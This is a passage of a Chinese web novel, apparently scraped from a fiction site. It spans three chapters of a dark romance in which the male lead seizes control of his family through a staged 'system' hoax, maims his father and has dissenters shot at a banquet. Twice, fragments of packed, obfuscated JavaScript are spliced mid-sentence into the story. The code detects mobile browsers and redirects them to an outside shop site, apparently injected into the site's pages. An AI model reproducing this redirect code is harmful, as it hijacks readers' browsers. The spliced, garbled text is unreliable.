为首的医生看着手中的报告,声音因极度的震惊而微微发颤。 “这简直是神迹。” 时费唇角勾起一抹满意的弧度。 神迹? 对,这是就是神迹。 他想起了那个夜晚。 时卿舟在他面前,满脸**与不甘,被迫交出了那个名为“系统”的存在。 起初,他对这种超自然的东西嗤之以鼻。 直到系统发布了第一个任务——处决一个背叛家族的旁系。 他照做了。 任务完成的瞬间,他手背上一道陈年的伤疤,在他眼皮子底下,以肉眼可见的速度愈合、结痂、脱落,最后只留下一片光洁如新的皮肤。 那一刻,世界观崩塌重组。 他只在女儿时莉莉的身上见过这种力量。 那是凌驾于凡人之上的、神的力量。 既然神选中了他,那他就必须是唯一的。 秘密,只有**才能保守。 于是,他策划车祸杀**时卿舟和时莉莉。 现在,他是这个世界上唯一拥有系统这个秘密的人。 唯一拥有永生秘密的人。 他是注定要成为神的人。 …… 几日后,时家家宴。 宴会厅金碧辉煌,水晶吊灯光芒璀璨。 时家的旁系成员们三三两两地聚在一起,低声交谈。 香槟、雪茄、暗流涌动。 “听说了吗?顾家那个小少爷,最近的支持率又涨了。” 几个旁系成员压低了声音。 “顾清珩……这小子确实是个狠角色。” “他最近在军部动作频频,明显是冲着咱们时家来的。” “要是让他当上下届议长,咱们日子怕是不好过了。” “怕什么。” 一声轻笑打断了他们的窃窃私语。 众人回头,只见一个身穿军装、肩扛将星的男人正漫不经心地晃着酒杯。 “顾清珩不过是个还没断奶的娃娃,根基尚浅。” “咱们时家……可也不是没人。” “不是没人?”其中有人愣了一下,随即压低声音,“将军说的是……先生?” 时将军笑容里多了一丝深意。 “先生已经老了……” 有人小声嘀咕:“这倒是。” 最近这段时间,家主时费的行为实在太过反常。 公司的决策乱七八糟,好几个大项目都黄了。 但诡异的是,明明看起来昏招频出,时费对家族内部的掌控力却在空前加强。 几个试图趁乱**的旁系分支,一夜之间就被连根拔起。 雷霆手段,让人不寒而栗。 就像……另外有一个人,藏在他这个昏君的身后,暗中控制着一切。 就在这时,宴会厅的大门处传来一阵骚动。 时费来了。 他手里盘着两颗核桃,在一群保镖的簇拥下走了进来。 他整个人看起来年轻了至少十岁。 “先生。” 众人纷纷停下交谈,恭敬地弯腰行礼。 但目光中却充满了审视、疑惑、恐惧。 时费毫不在意,居高临下看着众人。 那是神明对凡人的轻蔑。 他清了清嗓子:“今日家宴,一来是为了……” “砰——” 宴会厅那扇厚重的雕花大门,毫无预兆地被人从外面推开。 所有人都错愕地回头望去。 门外的逆光中,站着两道身影。 男人一身剪裁考究的黑色高定西装,身形挺拔,面容俊美,脸上挂着温和得体的笑容。 而在他身侧,挽着一个身穿黑色礼服的女孩,像是误入凡间的精灵。 时卿舟。 孟昭月。 一对璧人,就这么站在光影交界处。 宴会厅内,死一般的寂静。 “鬼……鬼啊!” 有人发出一声变了调的惊呼。 时卿舟不是**吗? “咔嚓。” 时费捏碎了手中的核桃。 双眼死死地盯着门口那个身影。 时卿舟没有理会周围那些见鬼般的表情。 “月月,小心台阶。” 他温柔地低声说着,牵着孟昭月的手,一步步踏入了宴会厅。 人们下意识往旁边站去。 自动为他们让出了一条宽阔的通道。 只有那几个暗桩,垂下眼帘,遮住了眼底一闪而过的狂热。 他们的王,回来了。 时卿舟带着孟昭月,穿过人群,最终停下。 距离时费不过几步之遥。 他微微欠身,姿态优雅而从容。 “父亲,晚上好。” 他的声音温和悦耳。 “听说家里办家宴,这么热闹的场合,怎么能少了我呢?” 时费死死地盯着他,胸口剧烈起伏。 他强迫自己镇定下来。 他是拥有系统,拥有神力。 就算时卿舟没死又怎么样? “老十九。”时费眯起眼,声音阴沉,“你命倒是挺大。” “托父亲的福。”时卿舟微笑着回应。 “地狱不收我,所以我只好爬回来了。” 孟昭月则乖巧地站在时卿舟身边。 “对了,父亲,我带了些礼物。”时卿舟的话刚落下。 “哗啦——” 无数黑影从窗外破入,身穿黑色作战服、手持自动**的武装人员瞬间控制了全场。 原本站在时费身后的保镖们,也突然调转枪口,对准了时费。 “这是……兵变?”时费瞪大了眼睛。 时卿舟微微一笑,看向众人。 “各位长辈。” “这位是我的妻子,孟昭月。” 他执起孟昭月的手,放到唇边,轻轻吻了吻她的指背。 然后,重新看向所有人。 “我和月月结婚有些仓促,还没来得及向大家正式介绍。” “正好趁着今天这个机会,让大家认认人。” 孟昭月配合地眨了眨眼。 那双杏眼弯成两道甜美的新月。 甜美得像是天使。 众人面面相觑,看着周围黑洞洞的枪口,又看看被枪指着脑袋的时费。 一个个冷汗直流,大气都不敢出。 有个反应快的旁系立刻举起酒杯,干笑道:“恭喜十九少爷,新婚快乐……” “谢谢。” 他轻笑一声,那笑声低沉悦耳。 “不过……” “我这个人呢,历来最重视我夫人的。” “光是嘴上说说,似乎不太够诚意。” “要不……” 他顿了顿,嘴角的弧度变得残忍。 “请各位长辈,对着我的妻子,鞠个躬吧。” 他强调道:“九十度。” 全场哗然。 让一群权贵长辈给一个小丫头鞠躬? 这简直是把他们的脸面往地上踩! “时卿舟!你别太嚣张了!” 一个白发苍苍的老者拍案而起。 “我是你二爷爷!你敢让我给你媳妇鞠躬?!” “时费!你是家主,你就看着这个逆子如此羞辱我们?!”” 所有人的目光再次投向时费。 时费脸上露出一抹狰笑。 既然撕破脸了,那就别怪他不客气了。 只要系统还在,只要神力还在,时卿舟这些人不过是土鸡瓦狗! “系统!立刻抹杀时卿舟!” 下一秒,几个蓝色的全息大字出现在半空。 【宿主。】 众人惊呼出声。 时费脸上露出了狰狞的笑容:“看到了吗?这就是神迹!” “我是被神选中的人!” “时卿舟,你拿什么跟我斗?!” “是吗?”时卿舟笑容不变。 他不慌不忙地抬起手,打了个响指。 “啪。” 半空中的蓝色大字突然闪烁了一下,然后变了。 【很不巧,这是假的。】 时费脸上的笑容僵住了。 “这……这是怎么回事?!” 时卿舟指了指宴会厅角落里的一台隐蔽的投影仪。 “最新的全息投影技术,效果还不错吧?” “不……不可能!” 他踉跄着后退两步,撞翻了身后的椅子。 “我的身体……我的身体明明变好了!” “医疗组的数据……” “医疗组?”时卿舟轻笑一声。 “那些医生,是我的人。” “您想看什么数据,他们就能给您做出什么数据。” “那……那伤口呢?!”时费举起自己的手,嘶吼道。 “我亲眼看着伤口愈合的!” “那是神迹!那绝对是神迹!” “哦,那个啊。”时卿舟漫不经心地说道:“我自然有我的手段。” 最玄的地方他没有透露,只是温柔地继续道: “父亲,您老了,连这种小把戏都信。” “而我,在你沉迷长生的期间,已经接管了一切。” 时费整个人如遭雷击。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867430|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >假的…… 全都是假的…… 所谓的系统,所谓的永生,所谓的神力…… 全都是这个逆子给他设的局! “我要杀了你!!!” 时费心态彻底崩了,他像头疯了的野兽一样,随手抓起桌上的餐刀,朝着时卿舟扑了过来。 然而,他刚冲出一步,就被身后的两个保镖死死按在了桌子上。 “放开我!我是家主!我是你们的主人!” 时费疯狂地挣扎着:“时卿舟!” “你这个杂种!私生子!你也配……” 时卿舟慢慢踱步到他面前。 居高临下地看着这个曾经不可一世的父亲。 “看来父亲的情绪有点激动。” 他微笑着,伸出手。 他身旁的一名手下立刻递上一把**。 “需要一点小小的……行为矫正。” 他轻轻弹了一下**的刀片。 手下立刻抓着时费的左手,按在桌面上。 “你……你要干什么?!”时费惊恐地瞪大了眼睛,“我是你父亲!” “父亲?” 时卿舟轻笑一声。 手起刀落。 “噗嗤!” 鲜血飞溅。 一截小指被整齐地切了下来。 “啊啊啊啊——!!!” 时费凄厉的惨叫声响彻整个宴会厅。 时卿舟面无表情地捡起那截断指。 从上面取下那枚,象征着家**力的黑曜石家徽戒指。 缓缓地戴在了自己的手指。 不大不小,刚刚好。 他转过身,对着不远处的乖巧的妻子孟昭月伸出手。 “月月,来。” 他的声音瞬间从地狱回到了人间,充满了宠溺和温柔。 孟昭月看着那血腥的一幕,脸上竟没有半分恐惧。 原来…… 这就是反派啊。 她乖巧地走了过去,裙摆扫过地上的血迹。 走到他面前,仰起脸,甜甜地唤了一声。 “阿卿。” 她的爱人,反派。 时卿舟看着自己的爱人,桃花眼中潋滟柔情。 他伸出手,将她一把拉进怀里。 他能闻到她身上甜软的香味,那是他清醒的药。 “各位叔叔伯伯。” 他抬起头,看向那些早已吓傻了的宾客,声音温和。 “现在,你们呢?” 死一般的寂静。 所有人都被这雷霆手段吓破了胆。 就在这时。 那个一直站在角落里的时将军,突然大步走上前。 他整理了一下军装,然后对着高台上的两人,深深地弯下了腰。 “恭祝十九少爷……” “不,恭祝先生,和夫人新婚大喜,百年好合!” 他的声音洪亮,打破了死寂。 紧接着,几个早已投靠时卿舟的旁系也迅速反应过来,争先恐后地上前鞠躬。 “恭祝先生和夫人新婚大喜!” 有了带头的,那些原本还在观望的中间派,一个个平日里趾高气昂的大人物。 此刻全都弯下了他们高贵的脊梁。 “恭祝先生……” 一时间,宴会厅里全是此起彼伏的道贺声和鞠躬的身影。 只有几个时费的死忠,还在那里梗着脖子叫骂。 “时卿舟!你这个畜生!你会遭报应的!” 时卿舟微笑着,没有说话。 他搂紧了孟昭月腰,缓缓抬起一只手。 轻轻捂住了她的眼睛。 将女孩压向自己。 孟昭月被迫在一片黑暗中,微微昂起头,紧紧背靠着他坚硬的胸膛。 “等下会有一点点吵。” 他低下头,吻了吻她的耳朵,声音温柔得像是在哄睡。 “乖宝宝月月,别害怕。” 孟昭月眨了眨眼,长长的睫毛像两把小刷子一样,扫过他的手心。 “好的。” 她甜甜地笑了。 “月月不害怕。” 时卿舟眼底的笑意更深了。 他抬起头,看向那几个叫骂的人,声音冷了下来。 只有一个字。 “放。” “砰!砰!砰!砰!……” 密集的**瞬间响彻整个宴会厅! 那些叫骂声瞬间变成了凄厉的惨叫。 然后又迅速归于沉寂。 尸体一个个倒下,在地板上堆叠。 鲜血染红了地毯,流淌着汇聚成河。 时卿舟就这么抱着孟昭月。 站在时家巨大的家族徽章下。 站在一片尸山血海之中。 在血色的洗礼中,接受着幸存者们颤抖的膜拜。 他一手捂着爱人的眼睛,一手戴着染血的权戒。 **与他的王后。 在此刻,加冕。 第115章 酒吧里被逮了 数日后。 时家庄园东翼。 初冬的阳光稀薄,洒在尚未铺设地毯的柚木地板上。 时卿舟让人重新装修了庄园的东翼楼,作为新房。 当然,主要是把地下收藏室扩建一下。 几名设计师正围着孟昭月。 他们手里捧着图册和色卡,脸上堆满了讨好的笑。 “夫人,您看这款意大利进口的小牛皮沙发怎么样?” “触感非常细腻。” “而且颜色也很衬这里的采光。” 设计师指着图册上一款米白色的沙发,语气热切。 孟昭月低头看着图册,手指轻轻摸了摸样本,确实很软。 她转头看向不远处坐在高脚椅上的男人。 时卿舟穿着一件质地很好的黑色毛衣,手里把玩着一个没有任何标签的白色药瓶。 瓶身在他修长的指间翻转,发出药粒的碰撞声。 他的视线虽然落在虚空处。 似乎在思考着什么。 但孟昭月能感觉到,那股若有若无的关注始终笼罩着她。 她举起色卡,声音软软的。 “阿卿,你觉得这个怎么样?” 时卿舟抬眸,目光在色卡上停留了一秒,随即移到她脸上。 他的唇角勾起一抹温和的弧度。 “只要月月喜欢就行。” 然后对设计师使了个眼色。 设计师们很有眼色地收拾好东西,恭敬地退了出去。 孟昭月走到他身边,注意到他手里的药瓶。 “说起来,阿卿,你的药……” 她伸出手指,轻轻戳了戳他的手背。 “是不是吃得比以前频繁了?” 每次时卿舟吃完压制另一个人格的药都,会抱着她缓解痛苦。 只是最近似乎吃药的间隔,越来越短了。 时卿舟反手握住她的手。 稍一用力,便将她拉进怀里。 孟昭月顺势坐在他的腿上。 双手环住他的脖子,乖巧地靠着他。 “没什么。”他将下巴抵在她的颈窝,声音有些低沉。 “只是……那个家伙最近有点吵。” 孟昭月乖巧地听着。 时卿舟的手指卷起她的一缕长发,漫不经心地把玩着。 “以前只要时莉莉寻死觅活,他就不安分。” “自从上次在公寓强行压制他之后。” “他对时莉莉倒是没什么反应了。” “反倒是……” 他说到这里停住了,黑沉的眸子直勾勾地盯着她。 “反倒是怎么了?”孟昭月追问。 时卿舟没有立刻回答。 他看着怀里的女孩。 他能感觉到体内那个被压制的灵魂,正在疯狂地叫嚣。 每一次触碰她,每一次闻到她的气息。 那个废物都会在意识深处发出贪婪的嘶吼。 想要冲破牢笼。 想要…… 夺取她。 越是和她接触,那个家伙就越发不安分。 孟昭月被他看着,见他一直没有下文。 她乖巧地眨了眨眼,软软地唤了一声:“阿卿?” 这声呼唤像是某种开关。 时卿舟猛地扣住她的后脑,将她按向自己,吻住了她的唇。 这个吻来得急切而凶狠,不带任何温柔的前奏。 直接长驱直入。 “唔……”孟昭月被迫仰起头,承受着他的掠夺。 下一秒,天旋地转。 她被压在了柜台上。 时卿舟欺身而上,将她牢牢禁锢在身下。 他的吻顺着她的唇角滑落,沿着下颌线一路向下。 流连忘返。 “月月是我的……” 他含糊不清地呢喃着。 “只能是我的……” 孟昭月紧紧抱着他,手指插入他浓密的发间。 “我是你的,阿卿……” 时卿舟支起身子,居高临下地看着她。 他的眼尾泛红,眸色深沉如墨。 翻涌着浓稠的情绪。 “说你爱我。”他声音沙哑道。 孟昭月她乖乖地开口,声音甜软:“我爱你,阿卿。” “再说一遍。”他不依不饶。 “我爱你。” “还要。” 孟昭月干脆伸出双臂,再次抱住他的脖子。 像只考拉一样挂在他身上。 脸颊在他颈窝蹭来蹭去,嘴里不停地念叨着: “我爱你我爱你我爱你最爱阿卿了……” 时卿舟紧绷的身体慢慢放松下来。 他回抱住她,力道大得像是要将她揉进骨血里。 像是渴求之人得到了安抚。 这就是他的药。 唯一的解药。 “我也爱你,我的月月。” ......... 隔天下午。 时家主楼餐厅。 时费坐在主位上。 曾经的一世枭雄,如今显得有些苍老佝偻。 他的左手缠着厚厚的纱布,那是被切断小指的伤口。 坐在他旁边的白岺却是另一番景象。 她穿着一件香奈儿的高定套装,脖子上挂着硕大的钻石项链。 她正对着一面镶钻的小镜子,欣赏着自己新做的指甲。 在她手边,放着一只崭新的爱马仕喜马拉雅铂金包。 几名女仆恭顺地在一旁添水、撤盘。 孟昭月揉着眼睛走进餐厅。 昨天时卿舟太折腾了,害她现在才刚起床。 “夫人。” 女仆们看到她,立刻齐刷刷地弯腰行礼,动作恭敬。 时费看到孟昭月,表情一僵,连忙站了起来。 “昭月来了啊……快,快坐。” 他的声音是刻意放软的慈爱。 “饿了吗?” “卿舟他去参加新副议长顾清珩的就任典礼了,今晚不回来吃饭。” 孟昭月在他对面的位置坐下,听到“顾清珩”几个字,愣了一下。 她认识的人居然真成了副议长了,有种小学同学成明星的奇幻感。 “哎呀,昭月来了!”白岺放下镜子,热情地凑了过来。 她招了招手,女仆立刻送过来一个精美的礼盒。 “看看,喜不喜欢?” “这是我今天去商场提货的时候,顺便给我的好儿媳带的。” 白岺笑眯眯地说。 孟昭月:“……?” “你上次见到我还叫孟姐姐的。” 白岺心情不错:“今时不同往日。” “先生吩咐了,以后啊,咱俩就是世界上关系最好的婆媳了。” 说着,她还特意转头看了一眼时费,眼神里带着几分警告。 时费握着叉子的手用力了些,但还是挤出了一抹笑容:“是,是,昭月是最好的儿媳。” 孟昭月有些感叹。 权力这种东西,难怪人人都追捧。 白岺对时费的态度很满意。 她转过头,凑到孟昭月耳边,神神秘秘地说道: “昭月,晚上有空吗?” “我带你去个好地方。” ...... 晚上十点,夜航船酒吧。 震耳欲聋的音乐声几乎要掀翻屋顶,五彩斑斓的灯光在舞池里疯狂扫射。 完全和孟昭月前世看到的不一样。 没有前世的安全和秩序井然。 孟昭月坐在最大的卡座里。 看着眼前站成一排、穿着紧身背心的十个男模,整个人都麻了。 谁家“婆婆”会带儿媳妇来这种地方点男模啊?! 白岺自从有了从龙之功后,已经彻底放飞自我了。 她左拥右抱。 一手搂着一个腹肌鲜明的小鲜肉,一手端着香槟。 笑得花枝乱颤。 时费的钱,她花起来毫不手软。 反正那个老东西现在只能看时卿舟的脸色过活,根本不敢管她。 “昭月,别愣着啊!挑一个!”白岺豪气地挥手。 “今晚全场的消费由时公子买单!不对,是由时老头买单!” 孟昭月缩在角落里正乖乖吃着水果,闻言乖巧地摇了摇头。 “不用了,我吃水果就好。” 就在这时,不远处的包间门开了。 孟婉凝一脸怒气地从里面走了出来,似乎是刚跟人吵了一架。 她一抬头,正好看到坐在卡座里吃水果的孟昭月,脚步顿了一下。 两人的视线在空中交汇。 孟婉凝冷哼一声,眼中闪过一丝不屑和厌恶。 随即扭过头,踩着高跟鞋快步往外走。 孟昭月眨了眨眼,没在意,低头继续叉起一块西瓜送进嘴里。 没过多久,酒吧门口那边突然传来一阵骚动。 “放开我!你们干什么!” 是孟婉凝的声音。 孟昭月抬头看去。 只见几个喝得醉醺醺的男人正围着孟婉凝,动手动脚。 “装什么清高?出来玩不就是图个乐子吗?” “陪哥几个喝一杯,少不了你的好处!” 孟婉凝拼命挣扎,却根本挣脱不开。 “那是你姐姐吧?”白岺从男模堆里探出头来,看了一眼那边的情况,随口问道,“要去管管吗?” 孟昭月咽下嘴里的西瓜,摇了摇头:“她跟我没关系,整个孟家都跟我没关系。” 她和孟家早 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孟婉凝却死死抓住他的衣袖,哭得更凶了,在他耳边低声说了几句什么。 孟廷凛的脚步顿住了。 犹豫了一下,然后带着孟婉凝离开了。 孟昭月微微挑眉,然后叉起一块哈密瓜。 男主角、女主角。 小说。 就在这时,放在桌上的手机突然震动了一下。 时卿舟发来的短信。 三个字: 「去哪了?」 孟昭月的心脏猛地跳了一下,手里的叉子差点没拿稳。 她做贼心虚地看了一眼四周。 确定没有熟悉的身影后,才颤巍巍地拿起手机。 「我吃完晚餐觉得有点积食,就在庄园附近散散步,消消食呢。ヾ(??????ゞ)」 很快对方发来了一个消息。 「好。ヾ(??????ゞ)」 这家伙居然偷自己的表情。 看着那个好字,以及和自己一样的颜文字。 应该是萌混过关了吧。 孟昭月长舒了一口气,拍了拍胸口。 然而,这口气还没松到底,一只温热的大手就毫无预兆地搭在了她的肩膀上。 她僵硬地转过头,慢慢地,一点一点地抬起视线。 一张俊美无俦的脸庞映入眼帘。 时卿舟站在卡座旁,居高临下地看着她。 脸上挂着那副温柔得让人心底发毛的笑容。 “时太太散步消食,散到酒吧来了?” 声音温润悦耳。 他微微眯起眼,视线慢悠悠地扫过那一排男模,唇角的弧度更深了。 “时太太挺能干啊。” 孟昭月:“……” 哦豁。 白岺在看到时卿舟的那一瞬间,吓得连忙站了起来: “都是我点的!” “跟昭月一点关系都没有!” 说完,她拼命给那些男模使眼色:“走走走!都给我走!” 男模们见状也不敢呆了,连忙离开。 时卿舟淡淡地扫了白岺一眼。 白岺吓得立刻坐了回去。 时卿舟收回目光,重新看向孟昭月。 孟昭月对他无辜地笑了笑。 时卿舟没有说话,只是一把拉过孟昭月,然后直接将她整个人扛了起来。 孟昭月:“!!!” 白岺默默地在胸口画了个十字:“儿媳啊,祝你好运。” ..... 时家庄园,主卧。 “砰”的一声,房门被重重关上。 孟昭月被直接丢到了柔软的大床上。 她才刚爬起来,就看到时卿舟站在床边。 他脱下身上的外套,一把扯下领带,扔在地上。 然后,解开袖扣卷起袖子。 露出结实有力的小臂。 期间双翻涌着暗色的桃花眼,死死盯着孟昭月。 孟昭月看着他这副架势,吓得连连后退,缩到了床角。 “阿卿……我错了……” 时卿舟没有理会她的求饶,只是站在床边,居高临下地看着她。 “过来。” 简单的两个字,低沉沙哑,压迫力十足。 孟昭月拼命摇头:“阿卿……” 时卿舟轻笑一声,那笑容里带着几分危险的意味。 “不过来是吗?” 他不再废话,直接单膝跪上床,一把抓住她的脚踝,将她整个人拖了回来。 “呀!”孟昭月惊叫一声,整个人就被他按在了腿上。 第116章 月月,我很幸福 过了一会后。 孟昭月捂着屁股躲在床角。 哭得梨花带雨。 “你怎么这么凶……” 时卿舟则慢条斯理地解开衬衫的扣子,一颗,两颗,三颗…… 精壮的胸膛逐渐暴露在空气中。 肌肉线条流畅而紧实。 在昏暗的卧室灯下,贲张起伏。 “这就凶了?” 他重新把哭得像只兔子的妻子捞了过来。 声音温和:“怎么?” “觉得我比不上外面那些出来卖的?” 孟昭月泪眼朦胧地看着他裸露的上半身。 宽肩窄腰,腹肌分明。 身材是真的好啊。 她吸了吸鼻子,乖巧地说道: “那还是你的比较好。” 时卿舟闻言,气笑了。 “比较?” 他眯起眼,捏住她的下巴,强迫她看着自己。 “意思是你还看过别人的?嗯?” 孟昭月心里一惊。 这家伙诈她! 她连忙把头摇成了拨浪鼓。 “没有没有!绝对没有!” “我发誓我只看过你的!” 时卿舟看着她,没说话。 孟昭月被他看得缩了缩。 然后突然被时卿舟一把扣着腰,翻了个面。 她还没反应过,沉重的身躯压了下来。 “晚了。” 他沙哑低沉的声音在她耳边响起。 “腰压低,时太太。” 于是…… 后面发生事情相信大家不爱看,就不写了哈。 …… 第二天清晨。 孟昭月浑身酸软地瘫在时卿舟怀里,连抬手的力气都没有。 时卿舟端着一碗热腾腾的小馄饨,正耐心地一口一口喂她。 “张嘴。” 孟昭月乖乖张嘴,吞下馄饨,含糊不清地嘟囔。 “都怪你……我现在腰都要断了……” 时卿舟轻笑一声,帮她擦去嘴角的汤汁。 “谁让你不听话。” 吃完早餐,时卿舟放下碗,一边帮她揉着腰,一边说道: “今天收拾一下,我们要出门。” “去哪?”孟昭月懒洋洋地问。 “顾衡国的葬礼。” 孟昭月愣了一下,反应了好一会儿,才想起顾衡国是谁。 “顾清珩的父亲?”孟昭月眨了眨眼。 脑海里浮现出那个总是清冷矜贵的男人。 她对顾衡国没什么印象,只记得是个经常出现在新闻联播里的大人物。 没想到这么突然就去世了。 “嗯。”时卿舟淡淡地应了一声。 手上的动作没停,依旧不轻不重地帮她按揉着酸痛的腰肢。 “他是车祸去世的,今天是遗体告别仪式,京江市有头有脸的人都会去。” 孟昭月感觉到他语气里的平淡,甚至带着几分意料之中。 就好像这场车祸并不是意外一般。 她抬头看向时卿舟,欲言又止。 时卿舟看穿了她的心思,低下头,在她额头上亲了一下。 “别多想,去露个面就行。” …… 前往顾家老宅的路上。 改装的迈巴赫赫尔曼中。 车中都是崭新的内饰,空调被调到最适合的温度。 时卿舟抱着孟昭月、靠在车上阖目养神。 孟昭月靠在时卿舟的怀里,抬头看着男人的睡颜。 他睫毛很长,像两把小刷子,留下两片小小的阴影。 闭着眼睛的他看起来,更加无害了些。 看着真可爱。 这是她的。 一想到这个念头,孟昭月的心就像灌了蜂蜜一样。 甜蜜蜜的。 真好。 看了一会,孟昭月伸出手,指尖轻轻触碰时卿舟的右眼下方。 那里皮肤光洁平滑,没有任何瑕疵。 时卿舟睁开了眼睛,垂眸看着怀里的妻子。 桃花眼中带着溺**的温柔和宠溺。 “宝宝,怎么了?”他低声问。 “这里,”她轻声说,“没有疤了。” 她还记得前世的时候。 那天夜里,雪下得很大,风呼啸着拍打窗户。 她是被急促的敲门声吵醒的。 她打开门。 时卿舟站在门口,浑身是血。 血顺着他的指尖滴落,在洁白的雪地上晕开刺眼的红。 最显眼的是他的眼睛下。 一道长长的血肉翻开的伤口。 几乎贯穿整张左脸。 他的眼睛里充斥着暴虐和血腥。 如同刚从修罗场爬出来的恶鬼。 但在看到孟昭月的那一瞬间,他眼中的戾气消散了。 他上前一步,用力抱住了她。 冰冷的怀抱带着浓重的血腥气。 “发生什么事了?”孟昭月担心地回抱住了他。 时卿舟没有回答,只是松开她,脸上露出了平日里那种温柔的神情。 “没什么,只是被几只老鼠咬了一口。”他轻描淡写地说。 “而且……” 她好像听到了他的声音在颤抖。 “我想你了……” “很想。” 回忆被时卿舟的轻吻打断。 他握住了孟昭月摩挲着他的手,然后放在唇边温柔地吻了吻。 “上一世,也是和上次一样的家宴。” 他的声音低沉平缓。 “我清理那些垃圾的时候,没注意,被一只漏网之鱼偷袭了。” 他的眼神暗了暗,随即又恢复了清明。 “以前,都是我一个人走在黑暗和血腥里。” 他将孟昭月的手贴在自己的脸颊上,轻轻蹭了蹭。 “但是这一世,有月月陪着我。” “我很幸福。” 他是深渊里的恶魔。 却能感受到童话里才有的两个字。 这是他的神明给予他的恩赐。 他们,天生一对。 …… 与此同时,顾家老宅。 顾青珩睁开了眼睛。 他又做梦了。 依旧是那场暴雨。 少年的他撑着伞,站在雨中,远远地就看到了孟昭月。 她抱膝坐在孟家庄园大门前的台阶上。 小小的一团,缩在角落里。 无助而可怜。 他看了一会,最后撑着伞,走了过去。 伞面遮住了漫天的雨幕。 她似乎是感觉到雨停了,慢慢抬起头。 她看着自己,声音里带着哭腔。 “我是被他们接回来的。” “他们都不喜欢我。” “没有人喜欢我。” 他低眉看着女孩,然后听到自己说: “没事的。” “我喜欢你。” 然后他就看到了女孩那双漂亮的杏眼呆呆地看着自己。 顾青珩没有再说话,只是静静地看着她,眸光温柔。 时间仿佛静止了。 过了许久,他听到她开口。 “那我也喜欢你。” 如同天籁。 他在黑暗中看到了光。 梦境消散,那场暴雨也模糊了。 只剩下他周围顾家老宅的旧木香味。 他有些怔愣地坐在椅子上,看着周围,似乎一下子没能从回忆中抽身。 直到看清了象征权柄的顾氏家徽。 顾青珩捂住脸,痛苦地弯下腰。 昭月…… 这两个字,在他的心脏如野草般疯长,缠绕住他的心脏,勒得他生疼。 昭月…… 昭月…… 他的昭月…… 他的光。 …… 顾家灵堂设在顾家老宅。 顾青珩已经任职副议长。 算是顾家权力的核心。 自然,他父亲的葬礼,家族也重视。 此时,老宅外已经停满了各种豪车,穿着黑衣的宾客络绎不绝。 时卿舟的车缓缓驶入,在门口停下。 姜玦拉开车门,时卿舟先下了车,然后回身扶着孟昭月下来。 两人一出现,立刻吸引了不少目光。 时卿舟一身黑色西装,面容冷峻,气场强大。 孟昭月挽着他的手臂,乖巧地跟在他身边,两人看起来般配极了。 当然更重要的是。 这位,是时家新上任的掌权者。 那场宴会在世家豪门的圈子里,多多少少有所有耳闻。 这个疯子简直是个恶魔! 顾家老宅回廊小榭,一步一景。 满是古香古色。 走进灵堂,哀乐声回荡。 大厅中央摆放着顾衡国的遗像,周围簇拥着白色的菊花和百合。 顾清珩作为唯一的儿子,一身黑色的西装,面无表情地站在家属答谢位上。 他礼仪得体挑不出错误,周身都是清贵。 就是神色太过淡漠,似乎死亡的只是一个路人,而不是他的父亲。 看到时卿舟和孟昭月走进来,他那双平淡的眸子才微微泛起涟漪。 时卿舟带着孟昭月走到灵前,接过工作人员递来的香,礼仪得体地鞠了三个躬,然后将香**香炉。 做完这一切,他走到顾清珩面前,伸出手。 “节哀。” 顾清珩看着他伸出的手,沉默了两秒,才缓缓伸出手与他握了一下。 “多谢。” 两人的目光在空中交汇,平静之下似乎暗流涌动。 然后顾青珩的目光落在站在一旁的孟昭月身上。 孟昭月见对方看过来,乖巧地学着时卿舟道: “顾议长,请节哀。” 顾清珩原本清冷的线条柔和了几分。 “谢谢你,昭月。” 就在这时,门口又传来一阵骚动。 孟廷凛带着孟婉凝走了进来。 孟婉凝挽着孟廷凛的手臂,一步步走进去。 她的脸上挂着得体的哀戚,脑海里却回荡着系统的女声。 那声音平缓,但是却如同老师般严厉。 【孟婉凝,你怎么能让女配救?】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874519|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >带着恨铁不成钢的严格。 【你是女主,是这个世界的中心。】 【你怎么能让其他女人的光芒盖过你?】 【特别是用来衬托你的女配!】 【这怎么还能算大女主呢?】 孟婉凝的手指不自觉地收紧,挽紧了孟廷凛的胳膊。 孟廷凛似乎有所感,低头看向孟婉凝。 孟婉凝脸色有些白地向他露出了一个端庄的微笑。 孟廷凛见没事,便移开了目光。 系统的声音没有停下。 【你应该等男主来救你,再不济也应该是男配!】 【作为女主就应该等待男人的拯救。】 至于自救?这不是女主角应该考虑的事情。 孟婉凝在心里反驳:“当时情况紧急,我根本不知道那是谁叫来的保安……” 况且保安都把人叫走了,她也不可能上赶着让人欺负吧。 【闭嘴!】 系统厉声打断她。 【因为你的失格行为,我的系统再次出现了不稳定!】 【我警告你,孟婉凝,不要再做出任何让女主失格的事情!】 孟婉凝咬了咬嘴唇。 【算了,都是那个不安分的女配惹出来的。】 系统的语气稍微缓和了一些,但依然冰冷。 【尽快想办法处理掉孟昭月,让剧情回到正轨。】 【还有,绝对不能和江浩宇结婚!】 【女主可以和渣男纠缠,那是为了让渣男追妻火葬场,增加剧情张力。】 【但是江浩宇这种……这种下头男,绝对不行!】 【和他结婚会拉低你的档次,影响你的价值!】 孟婉凝心里苦涩:“我上次去酒吧,就是去找在那厮混的江浩宇,但他根本不肯认真谈……” 【你一个女人跑去和江浩宇聊什么,能聊得明白吗?】 【去找男主角啊!向他求助,让他帮你解决!】 孟婉凝有些委屈,但还是在心里回答:“知道了。” 走进灵堂,孟婉凝一眼就看到了站在不远处的孟昭月。 